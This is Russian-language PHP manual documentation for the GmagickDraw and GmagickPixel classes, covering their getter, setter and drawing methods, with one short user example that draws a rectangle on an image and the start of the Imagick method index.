  • GmagickDraw::getfillopacity »
  • PHP Manual
  • GmagickDraw
  • Возвращает цвет заливки

GmagickDraw::getfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::getfillcolor — Возвращает цвет заливки

Описание

public GmagickDraw::getfillcolor(): GmagickPixel

Возвращает цвет заливки, используемый для рисования объектов с заливкой.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Цвет заливки GmagickPixel, используемый для рисования объектов с заливкой.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение прозрачности, используемое при рисовании

  • « GmagickDraw::getfillcolor
  • GmagickDraw::getfont »
  • PHP Manual
  • GmagickDraw
  • Возвращает значение прозрачности, используемое при рисовании

GmagickDraw::getfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::getfillopacity — Возвращает значение прозрачности, используемое при рисовании

Описание

public GmagickDraw::getfillopacity(): float

Возвращает значение прозрачности, используемое при рисовании.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает прозрачность, используемую при рисовании с использованием цвета заливки или текстуры заливки. Значение полностью непрозрачного цвета - 1.0.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шрифт

  • « GmagickDraw::getfillopacity
  • GmagickDraw::getfontsize »
  • PHP Manual
  • GmagickDraw
  • Возвращает шрифт

GmagickDraw::getfont

(PECL gmagick >= Unknown)

GmagickDraw::getfont — Возвращает шрифт

Описание

public GmagickDraw::getfont(): mixed

Возвращает строку, определяющую шрифт, используемый при аннотировании текстом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку (string) в случае успешного выполнения или false, если шрифт не установлен.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает размер шрифта

  • « GmagickDraw::getfont
  • GmagickDraw::getfontstyle »
  • PHP Manual
  • GmagickDraw
  • Возвращает размер шрифта

GmagickDraw::getfontsize

(PECL gmagick >= Unknown)

GmagickDraw::getfontsize — Возвращает размер шрифта

Описание

public GmagickDraw::getfontsize(): float

Возвращает размер шрифта, используемый при аннотировании текстом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает размер шрифта, связанный с текущим объектом GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает стиль шрифта

  • « GmagickDraw::getfontsize
  • GmagickDraw::getfontweight »
  • PHP Manual
  • GmagickDraw
  • Возвращает стиль шрифта

GmagickDraw::getfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::getfontstyle — Возвращает стиль шрифта

Описание

public GmagickDraw::getfontstyle(): int

Возвращает стиль шрифта, используемый при аннотировании текстом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает константу стиля шрифта (STYLE_), связанную с объектом GmagickDraw, или 0, если стиль не установлен.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает толщину шрифта

  • « GmagickDraw::getfontstyle
  • GmagickDraw::getstrokecolor »
  • PHP Manual
  • GmagickDraw
  • Возвращает толщину шрифта

GmagickDraw::getfontweight

(PECL gmagick >= Unknown)

GmagickDraw::getfontweight — Возвращает толщину шрифта

Описание

public GmagickDraw::getfontweight(): int

Возвращает толщину шрифта, используемую при аннотировании текстом.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает целое число (int) в случае успешного выполнения или 0, если толщина не установлена.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет, используемый для обводки контуров объекта

  • « GmagickDraw::getfontweight
  • GmagickDraw::getstrokeopacity »
  • PHP Manual
  • GmagickDraw
  • Возвращает цвет, используемый для обводки контуров объекта

GmagickDraw::getstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::getstrokecolor — Возвращает цвет, используемый для обводки контуров объекта

Описание

public GmagickDraw::getstrokecolor(): GmagickPixel

Возвращает цвет, используемый для обводки контуров объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект GmagickPixel, который описывает цвет.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает прозрачность обведённых контуров объекта

  • « GmagickDraw::getstrokecolor
  • GmagickDraw::getstrokewidth »
  • PHP Manual
  • GmagickDraw
  • Возвращает прозрачность обведённых контуров объекта

GmagickDraw::getstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::getstrokeopacity — Возвращает прозрачность обведённых контуров объекта

Описание

public GmagickDraw::getstrokeopacity(): float

Возвращает прозрачность обведённых контуров объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число с плавающей точкой (float), описывающее прозрачность.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ширину обводки, используемой для отрисовки контуров объекта

  • « GmagickDraw::getstrokeopacity
  • GmagickDraw::gettextdecoration »
  • PHP Manual
  • GmagickDraw
  • Возвращает ширину обводки, используемой для отрисовки контуров объекта

GmagickDraw::getstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::getstrokewidth — Возвращает ширину обводки, используемой для отрисовки контуров объекта

Описание

public GmagickDraw::getstrokewidth(): float

Возвращает ширину обводки, используемой для отрисовки контуров объекта.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число с плавающей точкой (float), описывающее ширину обводки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает оформление текста

  • « GmagickDraw::getstrokewidth
  • GmagickDraw::gettextencoding »
  • PHP Manual
  • GmagickDraw
  • Возвращает оформление текста

GmagickDraw::gettextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::gettextdecoration — Возвращает оформление текста

Описание

public GmagickDraw::gettextdecoration(): int

Возвращает оформление, применённое при аннотации текста.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает одну из констант DECORATION_ или 0, если оформление не установлено.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает кодовый набор, используемый для текстовых аннотаций

  • « GmagickDraw::gettextdecoration
  • GmagickDraw::line »
  • PHP Manual
  • GmagickDraw
  • Возвращает кодовый набор, используемый для текстовых аннотаций

GmagickDraw::gettextencoding

(PECL gmagick >= Unknown)

GmagickDraw::gettextencoding — Возвращает кодовый набор, используемый для текстовых аннотаций

Описание

public GmagickDraw::gettextencoding(): mixed

Возвращает строку, определяющую кодовый набор, используемый для текстовых аннотаций.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку с указанием кодового набора или false, если кодировка текста не задана.

User Contributed Notes

There are no user contributed notes for this page.


Рисует линию

  • « GmagickDraw::gettextencoding
  • GmagickDraw::point »
  • PHP Manual
  • GmagickDraw
  • Рисует линию

GmagickDraw::line

(PECL gmagick >= Unknown)

GmagickDraw::line — Рисует линию

Описание

public GmagickDraw::line(
float $sx,
float $sy,
float $ex,
float $ey
): GmagickDraw

Рисует линию на изображении, используя текущий цвет обводки, её прозрачность и ширину.

Список параметров

sx

Начальная координата x.

sy

Начальная координата y.

ex

Конечная координата x.

ey

Конечная координата y.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Рисует точку

  • « GmagickDraw::line
  • GmagickDraw::polygon »
  • PHP Manual
  • GmagickDraw
  • Рисует точку

GmagickDraw::point

(PECL gmagick >= Unknown)

GmagickDraw::point — Рисует точку

Описание

public GmagickDraw::point(float $x, float $y): GmagickDraw

Рисует точку, используя текущий цвет и толщину обводки по указанным координатам.

Список параметров

x

Координата x.

y

Координата y.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Рисует многоугольник

  • « GmagickDraw::point
  • GmagickDraw::polyline »
  • PHP Manual
  • GmagickDraw
  • Рисует многоугольник

GmagickDraw::polygon

(PECL gmagick >= Unknown)

GmagickDraw::polygon — Рисует многоугольник

Описание

public GmagickDraw::polygon(array $coordinates): GmagickDraw

Рисует многоугольник с использованием текущей обводки, её ширины, цвета заливки или текстуры с использованием указанного массива координат.

Список параметров

coordinates

Массив координат.

Возвращаемые значения

Объект GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Рисует ломаную линию

  • « GmagickDraw::polygon
  • GmagickDraw::rectangle »
  • PHP Manual
  • GmagickDraw
  • Рисует ломаную линию

GmagickDraw::polyline

(PECL gmagick >= Unknown)

GmagickDraw::polyline — Рисует ломаную линию

Описание

public GmagickDraw::polyline(array $coordinate_array): GmagickDraw

Рисует ломаную линию с использованием текущей обводки, её ширины, цвета заливки или текстуры с использованием указанного массива координат.

Список параметров

coordinate_array

Массив координат.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Рисует прямоугольник

  • « GmagickDraw::polyline
  • GmagickDraw::rotate »
  • PHP Manual
  • GmagickDraw
  • Рисует прямоугольник

GmagickDraw::rectangle

(PECL gmagick >= Unknown)

GmagickDraw::rectangle — Рисует прямоугольник

Описание

public GmagickDraw::rectangle(
float $x1,
float $y1,
float $x2,
float $y2
): GmagickDraw

Рисует прямоугольник по двум координатам с использованием текущих параметров обводки, ширины обводки и заливки.

Список параметров

x1

Первая координата x.

y1

Первая координата y.

x2

Вторая координата x.

y2

Вторая координата y.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

vitalick dot pugach at gmail dot com 12-Jan-2016 12:11
Создаем белый прямоугольник внизу изображения. [Create a white rectangle at the bottom of the image.]
$image = "http://localhost/files/upload/399000/399357/cmsimage8KEGF3.jpg";

list($width, $height) = getimagesize($image);

$gmagicDraw = new GmagickDraw();
$gmagicDraw->setfillcolor("#fff");
$gmagicDraw->rectangle(0, $height - $height * 0.02, $width, $height);

$gImage = new Gmagick();
$gImage->readImage($image);
$gImage->drawimage($gmagicDraw);
$gImage->writeimage(DOCROOT . "files/temp/img". $someId);


Применяет указанный поворот к текущему координатному пространству

  • « GmagickDraw::rectangle
  • GmagickDraw::roundrectangle »
  • PHP Manual
  • GmagickDraw
  • Применяет указанный поворот к текущему координатному пространству

GmagickDraw::rotate

(PECL gmagick >= Unknown)

GmagickDraw::rotate — Применяет указанный поворот к текущему координатному пространству

Описание

public GmagickDraw::rotate(float $degrees): GmagickDraw

Применяет указанный поворот к текущему координатному пространству.

Список параметров

degrees

Угол поворота

Возвращаемые значения

Объект GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Рисует прямоугольник с закруглёнными углами

  • « GmagickDraw::rotate
  • GmagickDraw::scale »
  • PHP Manual
  • GmagickDraw
  • Рисует прямоугольник с закруглёнными углами

GmagickDraw::roundrectangle

(PECL gmagick >= Unknown)

GmagickDraw::roundrectangle — Рисует прямоугольник с закруглёнными углами

Описание

public GmagickDraw::roundrectangle(
float $x1,
float $y1,
float $x2,
float $y2,
float $rx,
float $ry
): GmagickDraw

Рисует прямоугольник с закруглёнными углами по двум координатам и радиусам углов x и y, используя текущую обводку, её ширину и настройки заливки.

Список параметров

x1

Первая координата x.

y1

Первая координата y.

x2

Вторая координата x.

y2

Вторая координата y.

rx

Радиус угла в горизонтальном направлении.

ry

Радиус угла в вертикальном направлении.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Регулирует коэффициент масштабирования

  • « GmagickDraw::roundrectangle
  • GmagickDraw::setfillcolor »
  • PHP Manual
  • GmagickDraw
  • Регулирует коэффициент масштабирования

GmagickDraw::scale

(PECL gmagick >= Unknown)

GmagickDraw::scale — Регулирует коэффициент масштабирования

Описание

public GmagickDraw::scale(float $x, float $y): GmagickDraw

Регулирует коэффициент масштабирования для применения в горизонтальном и вертикальном направлениях к текущему координатному пространству.

Список параметров

x

горизонтальный коэффициент масштабирования

y

вертикальный коэффициент масштабирования

Возвращаемые значения

Объект GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой

  • « GmagickDraw::scale
  • GmagickDraw::setfillopacity »
  • PHP Manual
  • GmagickDraw
  • Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой

GmagickDraw::setfillcolor

(PECL gmagick >= Unknown)

GmagickDraw::setfillcolor — Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой

Описание

public GmagickDraw::setfillcolor(mixed $color): GmagickDraw

Устанавливает цвет заливки, который будет использоваться для рисования объектов с заливкой.

Список параметров

color

GmagickPixel или строка (string), указывающая цвет, используемый для заливки.

Возвращаемые значения

Объект GmagickDraw в случае успешного выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает непрозрачность заливки

  • « GmagickDraw::setfillcolor
  • GmagickDraw::setfont »
  • PHP Manual
  • GmagickDraw
  • Устанавливает непрозрачность заливки

GmagickDraw::setfillopacity

(PECL gmagick >= Unknown)

GmagickDraw::setfillopacity — Устанавливает непрозрачность заливки

Описание

public GmagickDraw::setfillopacity(float $fill_opacity): GmagickDraw

Устанавливает непрозрачность при рисовании с использованием цвета заливки или текстуры заливки. Установка значения 1.0 сделает заливку полностью непрозрачной.

Список параметров

fill_opacity

Непрозрачность заливки

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает указанный шрифт для использования при аннотации текста

  • « GmagickDraw::setfillopacity
  • GmagickDraw::setfontsize »
  • PHP Manual
  • GmagickDraw
  • Устанавливает указанный шрифт для использования при аннотации текста

GmagickDraw::setfont

(PECL gmagick >= Unknown)

GmagickDraw::setfont — Устанавливает указанный шрифт для использования при аннотации текста

Описание

public GmagickDraw::setfont(string $font): GmagickDraw

Устанавливает полностью указанный шрифт для использования при аннотации текста.

Список параметров

font

Имя шрифта.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает размер шрифта для использования при аннотации текста

  • « GmagickDraw::setfont
  • GmagickDraw::setfontstyle »
  • PHP Manual
  • GmagickDraw
  • Устанавливает размер шрифта для использования при аннотации текста

GmagickDraw::setfontsize

(PECL gmagick >= Unknown)

GmagickDraw::setfontsize — Устанавливает размер шрифта для использования при аннотации текста

Описание

public GmagickDraw::setfontsize(float $pointsize): GmagickDraw

Устанавливает размер шрифта для использования при аннотации текста.

Список параметров

pointsize

Размер шрифта

Возвращаемые значения

Объект GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает стиль шрифта для использования при аннотации текста

  • « GmagickDraw::setfontsize
  • GmagickDraw::setfontweight »
  • PHP Manual
  • GmagickDraw
  • Устанавливает стиль шрифта для использования при аннотации текста

GmagickDraw::setfontstyle

(PECL gmagick >= Unknown)

GmagickDraw::setfontstyle — Устанавливает стиль шрифта для использования при аннотации текста

Описание

public GmagickDraw::setfontstyle(int $style): GmagickDraw

Устанавливает стиль шрифта, который будет использоваться при аннотации текста. Использование AnyStyle действует как «любой».

Список параметров

style

Стиль шрифта (NormalStyle, ItalicStyle, ObliqueStyle, AnyStyle).

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает толщину шрифта

  • « GmagickDraw::setfontstyle
  • GmagickDraw::setstrokecolor »
  • PHP Manual
  • GmagickDraw
  • Устанавливает толщину шрифта

GmagickDraw::setfontweight

(PECL gmagick >= Unknown)

GmagickDraw::setfontweight — Устанавливает толщину шрифта

Описание

public GmagickDraw::setfontweight(int $weight): GmagickDraw

Устанавливает толщину шрифта для использования при аннотации текста.

Список параметров

weight

Толщина шрифта (допустимый диапазон - 100-900).

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает цвет, используемый для обводки контуров объекта

  • « GmagickDraw::setfontweight
  • GmagickDraw::setstrokeopacity »
  • PHP Manual
  • GmagickDraw
  • Устанавливает цвет, используемый для обводки контуров объекта

GmagickDraw::setstrokecolor

(PECL gmagick >= Unknown)

GmagickDraw::setstrokecolor — Устанавливает цвет, используемый для обводки контуров объекта

Описание

public GmagickDraw::setstrokecolor(mixed $color): GmagickDraw

Устанавливает цвет, используемый для обводки контуров объекта.

Список параметров

color

GmagickPixel или строка (string), представляющая цвет обводки.

Возвращаемые значения

Объект GmagickDraw в случае успешного выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Определяет прозрачность обводки контуров объекта

  • « GmagickDraw::setstrokecolor
  • GmagickDraw::setstrokewidth »
  • PHP Manual
  • GmagickDraw
  • Определяет прозрачность обводки контуров объекта

GmagickDraw::setstrokeopacity

(PECL gmagick >= Unknown)

GmagickDraw::setstrokeopacity — Определяет прозрачность обводки контуров объекта

Описание

public GmagickDraw::setstrokeopacity(float $stroke_opacity): GmagickDraw

Определяет прозрачность обводки контуров объекта.

Список параметров

stroke_opacity

Прозрачность обводки. При значении 1.0 - непрозрачная.

Возвращаемые значения

Объект GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает ширину обводки, используемой для отрисовки контуров объекта

  • « GmagickDraw::setstrokeopacity
  • GmagickDraw::settextdecoration »
  • PHP Manual
  • GmagickDraw
  • Устанавливает ширину обводки, используемой для отрисовки контуров объекта

GmagickDraw::setstrokewidth

(PECL gmagick >= Unknown)

GmagickDraw::setstrokewidth — Устанавливает ширину обводки, используемой для отрисовки контуров объекта

Описание

public GmagickDraw::setstrokewidth(float $width): GmagickDraw

Устанавливает ширину обводки, используемой для отрисовки контуров объекта.

Список параметров

width

Ширина обводки

Возвращаемые значения

Объект GmagickDraw.

User Contributed Notes

There are no user contributed notes for this page.


Определяет оформление

  • « GmagickDraw::setstrokewidth
  • GmagickDraw::settextencoding »
  • PHP Manual
  • GmagickDraw
  • Определяет оформление

GmagickDraw::settextdecoration

(PECL gmagick >= Unknown)

GmagickDraw::settextdecoration — Определяет оформление

Описание

public GmagickDraw::settextdecoration(int $decoration): GmagickDraw

Задаёт оформление, которое будет применяться при аннотировании текстом.

Список параметров

int

Оформление текста. Одно из следующих значений: NoDecoration, UnderlineDecoration, OverlineDecoration или LineThroughDecoration.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт кодовый набор текста

  • « GmagickDraw::settextdecoration
  • GmagickPixel »
  • PHP Manual
  • GmagickDraw
  • Задаёт кодовый набор текста

GmagickDraw::settextencoding

(PECL gmagick >= Unknown)

GmagickDraw::settextencoding — Задаёт кодовый набор текста

Описание

public GmagickDraw::settextencoding(string $encoding): GmagickDraw

Задаёт кодовый набор, который будет использоваться для текстовых аннотаций. Единственная кодировка символов, которая может быть указана в настоящее время, - это "UTF-8" для представления Unicode как последовательности байтов. Укажите пустую строку, чтобы установить кодировку текста по умолчанию в системе. Для успешного аннотирования текста с использованием Unicode могут потребоваться шрифты, поддерживающие Unicode.

Список параметров

encoding

Строка символов, определяющая кодировку текста.

Возвращаемые значения

Объект Gmagick.

User Contributed Notes

There are no user contributed notes for this page.


Класс GmagickPixel

(PECL gmagick >= Unknown)

Введение

Обзор классов

class GmagickPixel {
/* Методы */
public __construct(string $color = ?)
public getcolor(bool $as_array = false, bool $normalize_array = false): mixed
public getcolorcount(): int
public getcolorvalue(int $color): float
public setcolor(string $color): GmagickPixel
public setcolorvalue(int $color, float $value): GmagickPixel
}

Содержание

  • GmagickPixel::__construct — Конструктора класса GmagickPixel
  • GmagickPixel::getcolor — Возвращает цвет
  • GmagickPixel::getcolorcount — Получить количество пикселей изображения, имеющих заданный цвет
  • GmagickPixel::getcolorvalue — Возвращает нормализованное значение для заданного цветового канала
  • GmagickPixel::setcolor — Задать цвет
  • GmagickPixel::setcolorvalue — Установить нормализованное значение цветового канала

User Contributed Notes

There are no user contributed notes for this page.


Конструктора класса GmagickPixel

  • « GmagickPixel
  • GmagickPixel::getcolor »
  • PHP Manual
  • GmagickPixel
  • Конструктора класса GmagickPixel

GmagickPixel::__construct

(PECL gmagick >= Unknown)

GmagickPixel::__construct — Конструктора класса GmagickPixel

Описание

public GmagickPixel::__construct(string $color = ?)

Создаёт новый объект класса GmagickPixel. Если указан цвет, то объект будет инициализирован этим цветом.

Список параметров

color

Опциональный параметр, используется для начального значения цвета объекта.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает цвет

  • « GmagickPixel::__construct
  • GmagickPixel::getcolorcount »
  • PHP Manual
  • GmagickPixel
  • Возвращает цвет

GmagickPixel::getcolor

(PECL gmagick >= Unknown)

GmagickPixel::getcolor — Возвращает цвет

Описание

public GmagickPixel::getcolor(bool $as_array = false, bool $normalize_array = false): mixed

Возвращает цвет объекта GmagickPixel в виде массива (array) либо строки (string). Если для цвета установлена прозрачность, то её значение возвращается в четвёртом элементе списка.

Список параметров

as_array

true для типа возвращаемого значения array, а не string.

normalize_array

Значение цветов будут нормированы, если true.

Возвращаемые значения

string или array со значениями цветов, нормированными, если параметр normalize_array установлен в true. Бросает исключение GmagickPixelException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Получить количество пикселей изображения, имеющих заданный цвет

  • « GmagickPixel::getcolor
  • GmagickPixel::getcolorvalue »
  • PHP Manual
  • GmagickPixel
  • Получить количество пикселей изображения, имеющих заданный цвет

GmagickPixel::getcolorcount

(PECL gmagick >= Unknown)

GmagickPixel::getcolorcount — Получить количество пикселей изображения, имеющих заданный цвет

Описание

public GmagickPixel::getcolorcount(): int

Возвращает количество пикселей изображения, имеющих заданный цвет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает количество пикселей изображения, имеющих заданный цвет, в случае успешного выполнения. В случае возникновения ошибки выбрасывает исключение GmagickPixelException.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает нормализованное значение для заданного цветового канала

  • « GmagickPixel::getcolorcount
  • GmagickPixel::setcolor »
  • PHP Manual
  • GmagickPixel
  • Возвращает нормализованное значение для заданного цветового канала

GmagickPixel::getcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::getcolorvalue — Возвращает нормализованное значение для заданного цветового канала

Описание

public GmagickPixel::getcolorvalue(int $color): float

Возвращает нормализованное значение для заданного цветового канала в виде числа с плавающей точкой в диапазоне от 0 до 1.

Список параметров

color

Цветовой канал. Одна из констант цветовых каналов Gmagick.

Возвращаемые значения

Возвращает нормализованное значение для заданного цветового канала, либо, в случае возникновения ошибки, выбрасывает исключение GmagickPixelException.

User Contributed Notes

There are no user contributed notes for this page.


Задать цвет

  • « GmagickPixel::getcolorvalue
  • GmagickPixel::setcolorvalue »
  • PHP Manual
  • GmagickPixel
  • Задать цвет

GmagickPixel::setcolor

(PECL gmagick >= Unknown)

GmagickPixel::setcolor — Задать цвет

Описание

public GmagickPixel::setcolor(string $color): GmagickPixel

Задать цвет в формате объекта GmagickPixel с помощью строки (например, "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", и т.д.).

Список параметров

color

Определение цвета для инициализации объекта GmagickPixel.

Возвращаемые значения

Объект GmagickPixel.

User Contributed Notes

There are no user contributed notes for this page.


Установить нормализованное значение цветового канала

  • « GmagickPixel::setcolor
  • ImageMagick »
  • PHP Manual
  • GmagickPixel
  • Установить нормализованное значение цветового канала

GmagickPixel::setcolorvalue

(PECL gmagick >= Unknown)

GmagickPixel::setcolorvalue — Установить нормализованное значение цветового канала

Описание

public GmagickPixel::setcolorvalue(int $color, float $value): GmagickPixel

Устанавливает нормализованное значение цветового канала. Значение должно быть числом с плавающей точкой (float) в диапазоне от 0 до 1. Также данная функция может использоваться для задания канала прозрачности объекта GmagickPixel.

Список параметров

color

Цветовой канал. Одна из констант цветовых каналов Gmagick.

value

Устанавливаемое значение. Число с плавающей точкой в диапазоне от 0 до 1.

Возвращаемые значения

Объект GmagickPixel в случае успешного выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Обработка изображений (ImageMagick)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
  • Imagick — Класс Imagick
    • Imagick::adaptiveBlurImage — Добавляет адаптивный фильтр размытия к изображению
    • Imagick::adaptiveResizeImage — Адаптивное изменение размера изображения с данными триангуляции
    • Imagick::adaptiveSharpenImage — Адаптивное изменение резкости изображения
    • Imagick::adaptiveThresholdImage — Выбор порога для каждого пикселя в зависимости от диапазона интенсивности
    • Imagick::addImage — Добавляет новое изображение к списку изображений объекта Imagick
    • Imagick::addNoiseImage — Накладывает случайный шум на изображение
    • Imagick::affineTransformImage — Преобразование изображения
    • Imagick::animateImages — Анимация одного или нескольких изображений
    • Imagick::annotateImage — Добавляет текстовый комментарий на изображение
    • Imagick::appendImages — Объединяет набор изображений
    • Imagick::autoLevelImage — Настраивает уровни определённого канала изображения
    • Imagick::averageImages — Усредняет набор изображений
    • Imagick::blackThresholdImage — Перевести все пиксели ниже порогового значения в чёрный цвет
    • Imagick::blueShiftImage — Приглушает цвета изображения
    • Imagick::blurImage — Добавляет фильтр размытия к изображению
    • Imagick::borderImage — Окружает изображение рамкой
    • Imagick::brightnessContrastImage — Изменяет яркость и/или контраст изображения
    • Imagick::charcoalImage — Рисование углём
    • Imagick::chopImage — Удаляет область изображения и обрезает его
    • Imagick::clampImage — Ограничивает диапазон цветов от 0 до квантовой глубины
    • Imagick::clear — Очищает все ресурсы, связанные с объектом Imagick
    • Imagick::clipImage — Обрезка вдоль ближайшего контура с профилем 8BIM
    • Imagick::clipImagePath — Клипы вдоль именованных путей из профиля 8BIM, если они есть
    • Imagick::clipPathImage — Отсечь вдоль обозначенного контура с профилем 8BIM
    • Imagick::clone — Создаёт точную копию объекта Imagick
    • Imagick::clutImage — Заменяет цвета в изображении
    • Imagick::coalesceImages — Компонует набор изображений
    • Imagick::colorFloodfillImage — Изменяет значение цвета любого пикселя, соответствующего целевому
    • Imagick::colorizeImage — Смешивание цвета заливки с изображением
    • Imagick::colorMatrixImage — Применяет преобразование цвета к изображению
    • Imagick::combineImages — Объединяет одно или несколько изображений в одно изображение
    • Imagick::commentImage — Добавляет комментарий к вашему изображению
    • Imagick::compareImageChannels — Возвращает разницу в одном или нескольких изображениях
    • Imagick::compareImageLayers — Возвращает максимальную ограничивающую область между изображениями
    • Imagick::compareImages — Сравнивает изображение с восстановленным изображением
    • Imagick::compositeImage — Накладывает одно изображение на другое
    • Imagick::__construct — Конструктор объекта Imagick
    • Imagick::contrastImage — Изменяет контраст изображения
    • Imagick::contrastStretchImage — Повышает контрастность цветного изображения
    • Imagick::convolveImage — Применяет пользовательское ядро свёртки к изображению
    • Imagick::count — Получает количество изображений
    • Imagick::cropImage — Извлекает область изображения
    • Imagick::cropThumbnailImage — Создаёт обрезанную миниатюру
    • Imagick::current — Возвращает ссылку на текущий объект Imagick
    • Imagick::cycleColormapImage — Отображает цветовую карту изображения
    • Imagick::decipherImage — Расшифровывает изображение
    • Imagick::deconstructImages — Возвращает определённые пиксельные различия между изображениями
    • Imagick::deleteImageArtifact — Удаляет артефакт изображения
    • Imagick::deleteImageProperty — Удаляет свойство изображения
    • Imagick::deskewImage — Удаляет перекос с изображения
    • Imagick::despeckleImage — Уменьшает спекл-шум на изображении
    • Imagick::destroy — Удаляет объект Imagick
    • Imagick::displayImage — Выводит изображение
    • Imagick::displayImages — Выводит изображение или последовательность изображений
    • Imagick::distortImage — Искажает изображение, используя различные методы искажения
    • Imagick::drawImage — Выполняет рендеринг объекта ImagickDraw на текущем изображении
    • Imagick::edgeImage — Усиливает края в изображении
    • Imagick::embossImage — Возвращает изображение в градациях серого с трёхмерным эффектом
    • Imagick::encipherImage — Шифрует изображение
    • Imagick::enhanceImage — Улучшает качество шумного изображения
    • Imagick::equalizeImage — Выравнивает гистограмму изображения
    • Imagick::evaluateImage — Применяет выражение к изображению
    • Imagick::exportImagePixels — Экспортирует пиксели изображения
    • Imagick::extentImage — Устанавливает размер изображения
    • Imagick::filter — Применяет пользовательское ядро свёртки к изображению
    • Imagick::flattenImages — Объединяет последовательность изображений
    • Imagick::flipImage — Создаёт вертикальное зеркало изображения
    • Imagick::floodFillPaintImage — Изменяет значение цвета любого пикселя, соответствующего целевому
    • Imagick::flopImage — Создаёт горизонтальное зеркальное отображение
    • Imagick::forwardFourierTransformImage — Реализует дискретное преобразование Фурье
    • Imagick::frameImage — Добавляет имитацию трёхмерной границы
    • Imagick::functionImage — Применяет функцию к изображению
    • Imagick::fxImage — Оценивает выражение для каждого пикселя в изображении
    • Imagick::gammaImage — Гамма-коррекция изображения
    • Imagick::gaussianBlurImage — Размывает изображение
    • Imagick::getColorspace — Возвращает цветовую палитру
    • Imagick::getCompression — Возвращает тип сжатия объекта
    • Imagick::getCompressionQuality — Возвращает качество сжатия объекта
    • Imagick::getCopyright — Возвращает копирайт API ImageMagick в виде строки
    • Imagick::getFilename — Имя файла результирующего изображения
    • Imagick::getFont — Возвращает название шрифта
    • Imagick::getFormat — Возвращает формат Imagick объекта
    • Imagick::getGravity — Возвращает значение гравитации (притяжения)
    • Imagick::getHomeURL — Возвращает домашний URL библиотеки ImageMagick
    • Imagick::getImage — Возвращает новый объект Imagick
    • Imagick::getImageAlphaChannel — Проверяет, есть ли у изображения альфа-канал
    • Imagick::getImageArtifact — Возвращает артефакт изображения
    • Imagick::getImageAttribute — Возвращает именованный атрибут
    • Imagick::getImageBackgroundColor — Возвращает цвет фона изображения
    • Imagick::getImageBlob — Возвращает последовательность изображений в виде BLOB
    • Imagick::getImageBluePrimary — Возвращает основную точку синего цвета для изображения
    • Imagick::getImageBorderColor — Возвращает цвет рамки изображения
    • Imagick::getImageChannelDepth — Возвращает глубину для определённого канала изображения
    • Imagick::getImageChannelDistortion — Сравнивает каналы изображения с восстановленным изображением
    • Imagick::getImageChannelDistortions — Возвращает искажения канала
    • Imagick::getImageChannelExtrema — Возвращает экстремумы для одного или нескольких каналов изображения
    • Imagick::getImageChannelKurtosis — Возвращает эксцесс и асимметрию определённого канала
    • Imagick::getImageChannelMean — Возвращает среднее и стандартное отклонение
    • Imagick::getImageChannelRange — Возвращает диапазон каналов
    • Imagick::getImageChannelStatistics — Возвращает статистику для каждого канала изображения
    • Imagick::getImageClipMask — Возвращает обтравочную маску изображения
